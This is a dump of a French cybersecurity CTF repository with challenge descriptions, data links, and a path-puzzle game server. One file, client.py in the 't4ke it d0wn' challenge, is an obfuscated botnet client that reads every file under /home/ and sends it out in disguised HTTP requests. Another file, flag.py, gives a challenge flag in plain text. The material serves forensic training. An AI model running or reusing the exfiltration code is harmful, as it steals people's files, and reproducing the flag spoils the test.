13 | n = 624185542407079427827492831014232541151306758219725462495264542743925577811126136319806649320525884477172602841051590680516010687665728210590918443129917529397388349262451678695606731603752769148857401218023280361857721806358789258155731276190319345613326601687452995011353357254836512478568752347228509523527740872902005981444830318043398140280217407715710901575637049046046995419702254608438574132340456408837693739869884378548742188732168814507199065196597356743743311759516755200215152868390799724629848702373020720781350591123870759191756945509958917722116130490212200035877256796730815437828035696083225735434374470030058877714858685608768813287745146350187501567730558456751536918329623319098423777274024557504046444674286835597611174298568016090854865600403003680511633102013496017402051651159274755119405179600168527703276593775816821375208139929924005058420035658271761773778611238927913072500964638991734035188507798130806973246945463438729831818369466353899116145448155609656822628955720973005644706395831058761908410491162549602804532066834027545649848808716744209052785066982164185841727109292652774301022497592088420106468080985439509805855187347648842480065029937786401128436971982890536165492704816144697751666035349
14 | c = 193716471167576102009261617361856322498780398829855279069920250502861105296201963045964083018108072200739208016442951395411239060109879277633880799680796466886814781271407233797032205575732893102486955194430623575971934147092467132545430661638348705239245987734874713486582633239377073900547755774571560033817075516973413719471923384389891787662662451660841536309724560612132069417640779855005673928162779245563233310004133241256377788568720907304810052342887309240414040734216859683324240994466716337608438726691778468771085168242412959020570133689804360794998180805356883251901658442014155579390663327969555867882559872044606744203765000923967889074859937653743621584639067229288851342713329434708634803666882221200332685306191498632991902466967548988106343323657601589545168817027986526972276077635291259874356807227237546954263762399281112528529728308078742916141321142970897653668889951241365080022748801253027509812584674295982923423977390662236065066100484319953048153832376657375372691313969749376611462349588998375466059185579136463411550421293013392103719578287132076302002532788190909147001289366892814376471306713708402149642442310260618744526647829335030450314745937478124473909863363626798697757685899310491198434358658
15 | ```
16 | 


--------------------------------------------------------------------------------
/crypto-whitebox/README.md:
--------------------------------------------------------------------------------
 1 | # Hvítur Kassi (1) et (2)
 2 | 
 3 | | Phase          | Catégorie  |    Difficulté  | Nombre de résolutions |
 4 | |:--------------:|:----------:|:--------------:|:---------------------:|
 5 | | Pré-sélections | crypto     |     Moyen      |             36 / 1241 |
 6 | | Pré-sélections | crypto     |   Difficile    |              0 / 1241 |
 7 | 
 8 | ### Description (1)
 9 | 
10 | Saurez-vous trouver l'entrée ``m`` qui affiche le flag ?
11 | 
12 | Le flag est de la forme ECSC{``m``}.
13 | 
14 | SHA-256(`wb.py`) : `636e1d5ceca1cf99ce9b4eeddfca0f1e09a0d769cf226c5221209c40771cf2a8`
15 | 
16 | ### Description (2)
17 | 
18 | Saurez-vous désormais extraire la clé secrète ``k`` utilisée par cet algorithme de chiffrement ?
19 | 
20 | Le flag est de la forme ECSC{``k`` au format hexadécimal}.
21 | 
22 | Note : `wb.py` est le même que pour ``Hvítur Kassi (1)``
23 | 
24 | --
25 | *Indice :* Le fichier `wb.py` implémente la fonction de chiffrement de l'algorithme `SKINNY-64-128` avec une clé secrète `k` qu'il faut retrouver.
26 | 
27 | Les spécifications de `SKINNY-64-128` sont disponibles ici : [https://sites.google.com/site/skinnycipher/design](https://sites.google.com/site/skinnycipher/design)
28 | 
29 | 
30 | 


--------------------------------------------------------------------------------
/forensics-103_spx/README.md:
--------------------------------------------------------------------------------
 1 | # 103_spx
 2 | 
 3 | | Phase          | Catégorie  |  Difficulté   | Nombre de résolutions |
 4 | |:--------------:|:----------:|:-------------:|:---------------------:|
 5 | | Finale France  | forensics  |  Facile       |               29 / 50 |
 6 | 
 7 | ### Description
 8 | 
 9 | Super ! J'ai retrouvé ma toute première clé USB. Je l'avais gardée pour savoir si un jour je pourrais récupérer mes souvenirs effacés. Pouvez-vous m'aider ?
10 | 
11 | SHA256(`file.zip`) : `a4f2bf2c1c6423529bd579c3595bbc9907ee1a4324e3a31c6e6c554501a27c8c`.
12 | 


--------------------------------------------------------------------------------
/forensics-103_spx/file.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/forensics-103_spx/file.zip


--------------------------------------------------------------------------------
/forensics-CryptoDIY/README.md:
--------------------------------------------------------------------------------
 1 | # CryptoDIY
 2 | 
 3 | | Phase          | Catégorie  |   Difficulté   | Nombre de résolutions |
 4 | |:--------------:|:----------:|:--------------:|:---------------------:|
 5 | | Pré-sélections | forensics  |   Difficile    |              8 / 1241 |
 6 | 
 7 | ### Description
 8 | 
 9 | Dumby possède un secret qui en fait une personne exceptionnelle, en tout cas c'est ce qu'il dit.
10 | Dumb, un ami de Dumby, a échangé avec lui sur le sujet et n'a pas réussi à révéler ce mystère.
11 | Il vous confie une archive de cette conversation et compte sur vous pour résoudre l'énigme, surtout qu'il vient d'effacer la clé USB qui contenait ses clés secrètes et les fichiers déchiffrés, il porte bien son nom celui-là...
12 | 
13 | SHA256(`takeout-20190508T151533Z-001.zip`): `645d19b842e33c9ee9e28cb4cedd04a4e0d8590b61c60851a73ef5d723dceacd`.
14 | 


--------------------------------------------------------------------------------
/forensics-CryptoDIY/takeout-20190508T151533Z-001.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/forensics-CryptoDIY/takeout-20190508T151533Z-001.zip


--------------------------------------------------------------------------------
/forensics-NotSoFAT/README.md:
--------------------------------------------------------------------------------
 1 | # NotSoFAT
 2 | 
 3 | | Phase          | Catégorie    |   Difficulté  | Nombre de résolutions |
 4 | |:--------------:|:------------:|:-------------:|:---------------------:|
 5 | | Pré-sélections | forensics    |      Facile   |            324 / 1241 |
 6 | 
 7 | ### Description
 8 | 
 9 | J'ai effacé mon flag par erreur, pourriez-vous le retrouver pour moi ?
10 | 
11 | SHA256(`image.dd`) : `d9a2cdd302bb92a9a7348dc99899c4a5cb5f3b2a75644f4eadbaf3d127def4c7`.
12 | 


--------------------------------------------------------------------------------
/forensics-NotSoFAT/image.dd:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/forensics-NotSoFAT/image.dd


--------------------------------------------------------------------------------
/forensics-StegCryptoDIY-PNG/README.md:
--------------------------------------------------------------------------------
 1 | # StegCryptoDIY - PNG
 2 | 
 3 | | Phase          | Catégorie  |   Difficulté   | Nombre de résolutions |
 4 | |:--------------:|:----------:|:--------------:|:---------------------:|
 5 | | Finale France  | forensics  |  Facile        |               38 / 50 |
 6 | 
 7 | ### Description
 8 | 
 9 | Apparemment les paramètres crypto sont cachés dans ce fichier, à vous de les trouver.
10 | 
11 | Note : le flag suit le format `lehack2019{xxx}` où `xxx` est une chaine de caractères.
12 | 
13 | SHA256(`leHACK19_chall.png`) = `9bf1385ef8fc2638b90dfaa3d47d4a50ad52b67bf173b052621040f3ce48ca90`.
14 | 
15 | SHA256(`leHACK19_ref.png`) = `9151821ba115ed4de102a79695dca76f4994550c6c37068804abe71778c9009e`.
16 | 


--------------------------------------------------------------------------------
/forensics-StegCryptoDIY-PNG/leHACK19_chall.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/forensics-StegCryptoDIY-PNG/leHACK19_chall.png


--------------------------------------------------------------------------------
/forensics-StegCryptoDIY-PNG/leHACK19_ref.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/forensics-StegCryptoDIY-PNG/leHACK19_ref.png


--------------------------------------------------------------------------------
/forensics-exfiltration/README.md:
--------------------------------------------------------------------------------
 1 | # Exfiltration
 2 | 
 3 | | Phase          | Catégorie  |    Difficulté  | Nombre de résolutions |
 4 | |:--------------:|:----------:|:--------------:|:---------------------:|
 5 | | Pré-sélections | forensics  |     Moyen      |             92 / 1241 |
 6 | 
 7 | ## Description
 8 | 
 9 | Notre SoC a détecté qu'un document confidentiel avait été exfiltré! La méthode utilisée ne semble pas avancée et heureusement, une capture réseau a pu être faite au bon moment... Retrouvez ce document.
10 | 
11 | SHA256(`exfiltration.pcap`) : `0382811b48cd9498ad91a4f7268a4e6225b5934af55856fac46229e0ef6ce64e`.
12 | 


--------------------------------------------------------------------------------
/forensics-exfiltration/exfiltration.pcap:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/forensics-exfiltration/exfiltration.pcap


--------------------------------------------------------------------------------
/forensics-petites_notes/README.md:
--------------------------------------------------------------------------------
 1 | 
 2 | 
 3 | # Petites notes
 4 | 
 5 | | Phase          | Catégorie  |    Difficulté  | Nombre de résolutions |
 6 | |:--------------:|:----------:|:--------------:|:---------------------:|
 7 | | Pré-sélections | forensics  |     Facile     |            307 / 1241 |
 8 | 
 9 | ## Description
10 | 
11 | Connaissez-vous bien le format PCAPng ?
12 | 
13 | SHA256(`petites_notes.pcapng`) : `361bd82027f20c130895701c4b0874d087dfa342359b729d19c8cc2098543f9d`.
14 | 


--------------------------------------------------------------------------------
/forensics-petites_notes/petites_notes.pcapng:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/forensics-petites_notes/petites_notes.pcapng


--------------------------------------------------------------------------------
/forensics-rancongiciel/.gitattributes:
--------------------------------------------------------------------------------
1 | mem.dmp.tar.xz filter=lfs diff=lfs merge=lfs -text
2 | 


--------------------------------------------------------------------------------
/forensics-rancongiciel/README.md:
--------------------------------------------------------------------------------
 1 | # Rançongiciel
 2 | 
 3 | | Phase          | Catégorie  |    Difficulté  | Nombre de résolutions |
 4 | |:--------------:|:----------:|:--------------:|:---------------------:|
 5 | | Pré-sélections | forensics  |     Facile     |            148 / 1241 |
 6 | | Pré-sélections | forensics  |     Moyen      |             71 / 1241 |
 7 | | Pré-sélections | forensics  |     Moyen      |             58 / 1241 |
 8 | 
 9 | SHA256(`mem.dmp`) : `ce117720fa4126f57814b3a779a7eb4ba21570e3f5dfd44a6706771783a46f1b` 
10 | 
11 | SHA256(`data`) : `16e0f3c320da11e137e9aed80788e44c385f60a554ce034eb6ddfbbfbea31f71`  
12 | 
13 | ## Description
14 | 
15 | ### Q1
16 | 
17 | Une victime de plus tombée sous le coup d’un rançongiciel. Le paiement de la rançon n’est pas envisagé vu le montant demandé. Vous êtes appelé pour essayer de restaurer les fichiers chiffrés.
18 | 
19 | Une suite d’éléments est nécessaire pour avancer dans l’investigation et constituer le rapport d’incident.
20 | 
21 | Pour commencer, quel est le nom du fichier exécutable de ce rançongiciel, son identifiant de processus et quel est devenu le nom du fichier flag.docx une fois chiffré ? Donnez le SHA1 de ce nom avec son extension.
22 | 
23 | Note : l’image disque fait environ 440 Mo compressés et environ 1.4 Go décompressée. 
24 | 
25 | Réponse attendue au format ECSC{nom_du_rançongiciel.exe:PiD:sha1}.
26 | 
27 | ### Q2
28 | 
29 | Retrouvez la clé de chiffrement de ce rançongiciel.
30 | 
31 | ### Q3
32 | 
33 | Déchiffrez le fichier `data` ci-joint.
34 | 


--------------------------------------------------------------------------------
/forensics-rancongiciel/data:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/forensics-rancongiciel/data


--------------------------------------------------------------------------------
/forensics-rancongiciel/mem.dmp.tar.xz:
--------------------------------------------------------------------------------
1 | version https://git-lfs.github.com/spec/v1
2 | oid sha256:29401666edb940144a3679052177f158cce9f45506b6d6dbedafc096f38cfd52
3 | size 354620152
4 | 


--------------------------------------------------------------------------------
/forensics-t4ke_it_d0wn/README.md:
--------------------------------------------------------------------------------
 1 | # T4ke it d0wn
 2 | 
 3 | | Phase          | Catégorie  |  Difficulté   | Nombre de résolutions |
 4 | |:--------------:|:----------:|:-------------:|:---------------------:|
 5 | | Finale France  | forensics  |  Moyen        |               10 / 50 |
 6 | 
 7 | ### Description
 8 | 
 9 | Un botnet de plus vient d'être démantelé! Les communications avec le C2 sont détournées avec un Sinkhole depuis lequel des captures réseau sont faites.
10 | L'analyste en charge de cette investigation n'a pas réussi à décoder ces communications... Il a tout de même mis en place un honeypot et a réussi à tromper ce botnet qui s'attaque principalement à des Raspberry exposés sur internet avec le service SSH activé et mot de passe par défaut. Cet honeypot a permis de récupérer le script client qui envoie les données au C2!
11 | 
12 | Votre mission, retrouver et décoder les données contenues dans cette capture pour identifier la victime à l'aide du script client!
13 | 
14 | SHA256(`client.py`) : `be984312cdfe18adf366ef0f90ed95c531b32d9fdb2bb242ac8d2227c9367620`.
15 | 
16 | SHA256(`sinkhole_capture.pcap`) : `8b02ee26c96e43d6c48fc4f7c5093b183b0a3d43581ce9e3b0a011d9597498dd`.
17 | 


--------------------------------------------------------------------------------
/forensics-t4ke_it_d0wn/client.py:
--------------------------------------------------------------------------------
  1 | import sys
  2 | import os
  3 | import time
  4 | import binascii
  5 | import random
  6 | import base64
  7 | from scapy.all import *
  8 | 
  9 | 
 10 | def dfqguvb8qz4cas9(k, d):
 11 |     eb3o0v9ie8 = 0o400
 12 |     dpw8ko0y3gi7h = []
 13 |     uajxoyu = list(range(eb3o0v9ie8))
 14 |     ozi4iqwms99xv = bdpw8ko0y3 = r589862eilxu = 0o0
 15 |     for pls in list(range(eb3o0v9ie8)):
 16 |         ozi4iqwms99xv = (
 17 |             ozi4iqwms99xv + uajxoyu[pls] + ord(k[pls % len(k)])) % eb3o0v9ie8
 18 |         uajxoyu[pls], uajxoyu[ozi4iqwms99xv] = uajxoyu[ozi4iqwms99xv], uajxoyu[pls]
 19 |     ozi4iqwms99xv = lq4vbnj2t = 0o0
 20 |     for xl4xr9hh in d:
 21 |         ozi4iqwms99xv = (ozi4iqwms99xv + 0o1) % eb3o0v9ie8
 22 |         lq4vbnj2t = (lq4vbnj2t + uajxoyu[ozi4iqwms99xv]) % eb3o0v9ie8
 23 |         uajxoyu[ozi4iqwms99xv], uajxoyu[lq4vbnj2t] = uajxoyu[lq4vbnj2t], uajxoyu[ozi4iqwms99xv]
 24 |         dpw8ko0y3gi7h.append(chr(ord(xl4xr9hh) ^ uajxoyu[(
 25 |             uajxoyu[ozi4iqwms99xv] + uajxoyu[lq4vbnj2t]) % eb3o0v9ie8]))
 26 |     return ''.join(dpw8ko0y3gi7h).encode().hex()
 27 | 
 28 | 
 29 | def ej6h13cyvp(zy102a):
 30 |     dmlidvl = []
 31 |     kpr2m8 = 0o0
 32 |     while True:
 33 |         ohno = 0o40
 34 |         dmlidvl.append(zy102a[kpr2m8:kpr2m8+ohno])
 35 |         kpr2m8 = kpr2m8 + ohno
 36 |         if kpr2m8 >= len(zy102a)-1:
 37 |             break
 38 |     return dmlidvl
 39 | 
 40 | 
 41 | def noraj():
 42 |     txkvoqw554hn = []
 43 |     for r, d, f in os.walk('/home/'):
 44 |         for file in f:
 45 |             txkvoqw554hn.append(os.path.join(r, file))
 46 |     return txkvoqw554hn
 47 | 
 48 | 
 49 | def req(syn_ack, lcyoa21, qu3jozz36o1):
 50 |     seq = syn_ack[TCP].ack
 51 |     ack = syn_ack[TCP].seq + 0o1
 52 |     for data in lcyoa21:
 53 |         g8uwxfy = base64.b64encode(dfqguvb8qz4cas9(
 54 |             str(ack), data).encode()).decode()
 55 |         key = str(random.randint(0o1750, 0o21450)).encode().hex()
 56 |         d = base64.b64encode(str(random.randint(0o16432451210000, 0o202757163310000)).encode(
 57 |         ).hex().encode()).decode().encode().hex()
 58 |         getStr = 'GET /panel.php?id={}&key={}&data={} HTTP/1.1\r\nAccept-Encoding: gzip, deflate, br\r\nAccept-Language: en-US,en;q=0.5\r\nCache-Control: max-age=0\r\nHost: www.gogole.com\r\nConnection: keep-alive\r\nContent-MD5: {}\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36\r\n\r\n'.format(
 59 |             qu3jozz36o1, key, d, g8uwxfy)
 60 |         reply = sr1(IP(dst=syn_ack[IP].src) / TCP(dport=syn_ack[TCP].sport,
 61 |                                                   sport=syn_ack[TCP].dport, seq=seq, ack=ack, flags='PA') / getStr, timeout=5)
 62 |         seq = reply[TCP].ack
 63 |         ack = len(reply[TCP].payload)
 64 |         if len(reply[TCP].payload) == 0o6:
 65 |             ack = reply[TCP].seq + 0o562
 66 |         elif len(reply[TCP].payload) != 0o562:
 67 |             ack = reply[TCP].seq + len(reply[TCP].payload) + 0o1
 68 |         else:
 69 |             ack = reply[TCP].seq + len(reply[TCP].payload)
 70 |         send(IP(dst=syn_ack[IP].src) / TCP(dport=syn_ack[TCP].sport,
 71 |                                            sport=reply[TCP].dport, seq=seq, ack=ack, flags='A'))
 72 |         time.sleep(0.1)
 73 |     return seq, ack
 74 | 
 75 | 
 76 | def send_it(hnij5s):
 77 |     qu3jozz36o1 = random.randint(0o1750, 0o21450)
 78 |     dip = '192.168.1.30'
 79 |     dport = 8080
 80 |     gg = [hnij5s[x:x+10] for x in range(0, len(hnij5s), 10)]
 81 |     for g in gg:
 82 |         seq = random.randrange(0, (2**32)-1)
 83 |         sport = random.randint(0o135422, 0o147256)
 84 |         syn = IP(dst=dip) / TCP(sport=sport, dport=dport, seq=seq, flags='S')
 85 |         last_req = sr1(syn, timeout=5)
 86 |         send(IP(dst=dip) / TCP(sport=sport, dport=dport,
 87 |                                seq=syn[TCP].seq + 0o1, ack=last_req[TCP].seq + 0o1, flags='A'))
 88 |         seq, ack = req(last_req, g, qu3jozz36o1)
 89 |         sr1(IP(dst=dip) / TCP(sport=sport, dport=dport, seq=seq, ack=ack, flags='FA'))
 90 |         send(IP(dst=dip) / TCP(sport=sport, dport=dport,
 91 |                                seq=seq + 0o1, ack=ack + 0o1, flags='A'))
 92 |         time.sleep(1)
 93 |     return True
 94 | 
 95 | 
 96 | def obnco(xgyvjx7):
 97 |     a = '\n'.join(xgyvjx7)
 98 |     b = ej6h13cyvp(a.encode().hex())
 99 |     send_it(b)
100 | 
101 | 
102 | def wnytyx(do7u6r1b):
103 |     for fe in do7u6r1b:
104 |         with open(fe, 'rb') as f:
105 |             q = ej6h13cyvp(binascii.hexlify(f.read()).decode())
106 |             send_it(q)
107 |         f.closed
108 | 
109 | 
110 | gb3ccd4n8kd = noraj()
111 | obnco(gb3ccd4n8kd)
112 | wnytyx(gb3ccd4n8kd)


--------------------------------------------------------------------------------
/forensics-t4ke_it_d0wn/sinkhole_capture.pcap:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/forensics-t4ke_it_d0wn/sinkhole_capture.pcap


--------------------------------------------------------------------------------
/misc-PetitPoucet/Dockerfile:
--------------------------------------------------------------------------------
 1 | FROM alpine
 2 | #RUN apk update && apk add s6-networking python3
 3 | RUN apk update
 4 | RUN apk add socat python3
 5 | 
 6 | RUN adduser ctf -D
 7 | COPY petitpoucet.py puzzles.txt flag.py /app/
 8 | WORKDIR /app/
 9 | 
10 | EXPOSE 2000
11 | USER ctf
12 | CMD socat TCP-LISTEN:2000,reuseaddr,fork EXEC:"python3 petitpoucet.py 2>log.txt"
13 | 


--------------------------------------------------------------------------------
/misc-PetitPoucet/README.md:
--------------------------------------------------------------------------------
 1 | # Petit Poucet
 2 | 
 3 | | Phase               | Catégorie  |  Difficulté  | Nombre de résolutions |
 4 | |:-------------------:|:----------:|:------------:|:---------------------:|
 5 | | Entrainement TeamFR | misc       |    Moyen     |                 0 / 5 |
 6 | 
 7 | 
 8 | ### Description
 9 | 
10 | Traquez le petit poucet !
11 | 


--------------------------------------------------------------------------------
/misc-PetitPoucet/flag.py:
--------------------------------------------------------------------------------
1 | flag = "ECSC{f0b5cb952d550636e0c88faaa4577ae8c0d9dc2faf92e08d2c12c295a8f3f2a4}"
2 | 


--------------------------------------------------------------------------------
/misc-PetitPoucet/petitpoucet.py:
--------------------------------------------------------------------------------
  1 | #!/usr/local/bin/python3 -u
  2 | # -*- coding: utf-8 -*-
  3 | 
  4 | import sys
  5 | import uuid
  6 | import signal
  7 | from flag import flag
  8 | 
  9 | ## Time allowed to complete the challenge (seconds)
 10 | DELAY = 90
 11 | 
 12 | ## Id of current user
 13 | curr_id = ""
 14 | 
 15 | ##
 16 | ##
 17 | ##
 18 | def p(s, prefix = ""):
 19 |         sys.stdout.write(prefix+s)
 20 |         sys.stdout.flush()
 21 | ##
 22 | ##
 23 | ##
 24 | def err(s, prefix = ""):
 25 |         sys.stderr.write(prefix+s)
 26 |         sys.stderr.flush()
 27 | 
 28 | ##
 29 | ## Handler for the timeout
 30 | ##
 31 | def handler(signum, frame):
 32 |     p("Le temps est écoulé!\n")
 33 |     err("[!] Le temps est écoulé!\n", "({})  ".format(curr_id))
 34 |     sys.exit(0)
 35 | 
 36 | ##
 37 | ## Check that a path is valid for the given board
 38 | ##
 39 | def check(board, path):
 40 |     DIR_LEFT = "LEFT"
 41 |     DIR_RIGHT = "RIGHT"
 42 |     DIR_UP = "UP"
 43 |     DIR_DOWN = "DOWN"
 44 | 
 45 |     b = []
 46 |     for row in board:
 47 |         b += [ row.split(" ")]
 48 | 
 49 |     if len(path) == 0: return False
 50 | 
 51 |     curr, path = path[0], path[1:]
 52 |     currDir = ""
 53 | 
 54 |     ## Then, check that the path is valid
 55 |     while len(path):
 56 | 
 57 |         ## First check: the first cell must contain "X"
 58 |         # if b[curr[0]][curr[1]] != "X":
 59 |         #     return False
 60 | 
 61 |         next, path = path[0], path[1:]
 62 |         if curr == next: return False
 63 |         
 64 |         # print(" ")
 65 |         # for row in b: print(" ".join(row))
 66 |         # print(currDir)
 67 |         # print(" ")
 68 | 
 69 |         if curr[0] == next[0]: ## same row
 70 |             mi = min(curr[1], next[1])
 71 |             ma = max(curr[1], next[1])
 72 |             for c in range(mi+1, ma):
 73 |                 if b[curr[0]][c] != "-":
 74 |                     print("Error: Cell {} not empty.".format((curr[0], c)))
 75 |                     return False
 76 | 
 77 |             # move is valid
 78 |             if curr[1] < next[1]:
 79 |                 nextDir = DIR_RIGHT
 80 |             else:
 81 |                 nextDir = DIR_LEFT
 82 | 
 83 |         elif curr[1] == next[1]: ## same column
 84 |             mi = min(curr[0], next[0])
 85 |             ma = max(curr[0], next[0])
 86 |             for r in range(mi+1, ma):
 87 |                 if b[r][curr[1]] != "-":
 88 |                     print("Error: Cell {} not empty.".format((r, curr[1])))
 89 |                     return False
 90 | 
 91 |             # move is valid
 92 |             if curr[0] < next[0]:
 93 |                 nextDir = DIR_DOWN
 94 |             else:
 95 |                 nextDir = DIR_UP
 96 | 
 97 |         ## cells not sharing any coordinates -> wrong move
 98 |         else:
 99 |             return False
100 | 
101 |         ## Check that the direction is not forbidden
102 |         if  currDir == DIR_UP     and nextDir == DIR_DOWN:   return False
103 |         elif currDir == DIR_DOWN  and nextDir == DIR_UP:     return False
104 |         elif currDir == DIR_LEFT  and nextDir == DIR_RIGHT:  return False
105 |         elif currDir == DIR_RIGHT and nextDir == DIR_LEFT:   return False
106 | 
107 |         ## The move is correct: 1) remove the stone, 2) go on with the next move
108 |         b[curr[0]][curr[1]] = "-"
109 |         curr = next
110 |         currDir = nextDir
111 |         b[curr[0]][curr[1]] = "X"
112 | 
113 |     # print("=="*8)
114 |     # for row in b: print(" ".join(row))
115 |     # print(" ")
116 | 
117 |     ## If passed all checks, then the path is valid iif the only stone left on the board is at curr
118 |     for r in range(len(b)):
119 |         for c in range(len(b[0])):
120 |             if r == curr[0] and c == curr[1]: continue
121 |             if b[r][c] != "-":
122 |                 return False
123 | 
124 |     return True
125 | 
126 | if __name__== "__main__":
127 | 
128 |     ## Load data
129 |     with open("puzzles.txt") as fp:
130 |         boards = fp.read().split("\n\n")
131 | 
132 |     boards = [ board.split("\n") for board in boards ]
133 |     boards = boards[:-1]
134 | 
135 |     curr_id = uuid.uuid4().hex[:8]
136 |     err("[+] New connexion! Number of loaded puzzles: {}\n".format(len(boards)), "({})  ".format(curr_id))
137 | 
138 |     p("Challenge de programmation!\n")
139 |     p("---------------------------\n")
140 |     p("\n")
141 |     p("Dans ce challenge, tu es sur les traces du Petit Poucet.\n")
142 |     p("Le but est de récupérer tous les cailloux qu'il a semé dans la forêt.\n")
143 |     p("Le premier caillou que tu trouves est représenté par 'X'.\n")
144 |     p("Tous les autres cailloux sont initialement représentés par 'O'.\n")
145 |     p("Par exemple :\n")
146 |     p("    - - -\n")
147 |     p("    O X O\n")
148 |     p("    O - O\n")
149 |     p("\n")
150 |     p("Pour récupérer un caillou, il suffit de se déplacer sur une case marquée\n")
151 |     p("par 'O' pour ramasser automatiquement le caillou : ta nouvelle\n")
152 |     p("position 'X' est alors changée pour cette case.\n")
153 |     p("Si la première position 'X' n'est pas mentionnée, tu peux la choisir.\n")
154 |     p("\n")
155 |     p("Les déplacements se font uniquement sur des lignes et sur des colonnes.\n")
156 |     p("Si tu croises un caillou, tu es obligé de t'arrêter (impossible de \"sauter\"\n")
157 |     p("par dessus un caillou). En arrivant sur une nouvelle case, les règles\n")
158 |     p("de déplacement sont les suivantes :\n")
159 |     p("  - tu peux décider de tourner à gauche ou à droite,\n")
160 |     p("  - tu peux aussi décider de continuer tout droit,\n")
161 |     p("  - en revanche, tu ne peux pas revenir faire marche arrière.\n")
162 |     p("\n")
163 |     p("En nommant les cailloux de l'exemple précédent,\n")
164 |     p("    - - -\n")
165 |     p("    a X d\n")
166 |     p("    b - c\n")
167 |     p("tu peux ramasser les cailloux dans l'ordre X, a, b, c, d.\n")
168 |     p("Il n'est pas possible de ramasser dans l'ordre X, d, c, b (car marche arrière).\n")
169 |     p("\n")
170 |     p("On utilisera des coordonnées pour nommer les cailloux :\n")
171 |     p("   a: (1,0)  ")
172 |     p("   X: (1,1)  ")
173 |     p("   d: (1,2)  ")
174 |     p("   b: (2,0)  ")
175 |     p("   c: (2,2)  ")
176 |     p("\n")
177 |     p("Le chemin qui passe par tous les cailloux est à donner avec une coordonnées par\n")
178 |     p("ligne, et avec une ligne vide pour représenter la fin du chemin. Exemple :\n")
179 |     p("1,1\n")
180 |     p("1,0\n")
181 |     p("2,0\n")
182 |     p("2,2\n")
183 |     p("1,2\n")
184 |     p("\n")
185 |     p("Le Petit Poucet étant taquin, il a semé des cailloux dans plusieurs forêts\n")
186 |     p("de différentes tailles :-)\n")
187 |     p("\n")
188 |     p("Tu as {} secondes pour récupérer les cailloux de toutes les forêts.\n".format(DELAY))
189 |     p("Prêt ? [O/n]\n")
190 |     p(">> ")
191 |     res = sys.stdin.readline().strip()
192 |     if res == "n": sys.exit(0)
193 | 
194 |     signal.alarm(DELAY)
195 |     signal.signal(signal.SIGALRM, handler)
196 |     try:
197 |         cnt = 0
198 |         for board in boards:
199 |             cnt += 1
200 |             ## Print game
201 |             p("Forêt #{}:\n".format(cnt))
202 |             for row in board: p(row+"\n", " "*4)
203 |             p("\n")
204 | 
205 |             err("[+] Sending puzzle:\n", "({})  ".format(curr_id))
206 |             for row in board: err(row+"\n", "({})      ".format(curr_id))
207 |             err("\n", "({})  ".format(curr_id))
208 | 
209 |             ## Read solution
210 |             p("Quel chemin suivre (suite de coordonnées) ?\n")
211 |             path = []
212 |             while True:
213 |                 p(">> ")
214 |                 res = sys.stdin.readline().strip()
215 |                 if res == "": break
216 |                 res = res.split(",")
217 |                 x, y = int(res[0]), int(res[1])
218 |                 path += [(x,y)]
219 | 
220 |             err("[+] Received path for #{}: {}\n".format(cnt, path), "({})  ".format(curr_id))
221 | 
222 |             if not check(board, path):
223 |                 p("Ce chemin est incorrect.\n")
224 |                 p("Bye bye.\n")
225 |                 sys.exit(0)
226 |             else:
227 |                 err("[+] Solved puzzle #{}\n".format(cnt), "({})  ".format(curr_id))
228 |                 p("Tu as récupéré tous les cailloux de cette forêt, bien joué !\n")
229 | 
230 |         err("[+] Sending the flag.\n", "({})  ".format(curr_id))
231 |         p("Congrats!! Voici le flag :\n{}\n".format(flag))
232 |         sys.exit(0)
233 | 
234 |     except ValueError: 
235 |         p("Erreur : mauvaise coordonnée.\n")
236 |     else:
237 |         sys.exit(0)
238 | 


--------------------------------------------------------------------------------
/misc-PetitPoucet/puzzles.txt:
--------------------------------------------------------------------------------
  1 | - - -
  2 | O X O
  3 | O - O
  4 | 
  5 | X O O
  6 | O O O
  7 | - O -
  8 | 
  9 | - O -
 10 | - O -
 11 | - O -
 12 | O O O
 13 | O O O
 14 | O O O
 15 | O O O
 16 | - O -
 17 | 
 18 | - - - -
 19 | X - O O
 20 | - O - O
 21 | - - - -
 22 | 
 23 | O O O O
 24 | O O - O
 25 | O O X O
 26 | - O - -
 27 | 
 28 | O O O -
 29 | - O O -
 30 | O O O O
 31 | O X O -
 32 | 
 33 | X - - -
 34 | O O - -
 35 | O O O -
 36 | O O O O
 37 | - O O O
 38 | - - O O
 39 | - - - O
 40 | 
 41 | O X - -
 42 | - - O O
 43 | O - - O
 44 | O O O -
 45 | - - O -
 46 | - - O -
 47 | O O - O
 48 | O O - -
 49 | 
 50 | O - O O
 51 | - O - O
 52 | O O - O
 53 | - - O O
 54 | O O O O
 55 | - - O O
 56 | - X O O
 57 | - O - -
 58 | 
 59 | - - - O
 60 | - O O -
 61 | - - - -
 62 | O - X -
 63 | - - O -
 64 | O - O -
 65 | O - O -
 66 | - - O -
 67 | - O - -
 68 | O - - O
 69 | O O O -
 70 | O - O O
 71 | 
 72 | - - O - -
 73 | - O - O -
 74 | O - - - O
 75 | O - - - O
 76 | O O O O O
 77 | O - - - O
 78 | 
 79 | O - -
 80 | O O O
 81 | O O O
 82 | O O -
 83 | O - -
 84 | 
 85 | O O O -
 86 | - O O O
 87 | - O O O
 88 | - - - O
 89 | 
 90 | - O O O
 91 | - O O O
 92 | O O O O
 93 | - O - -
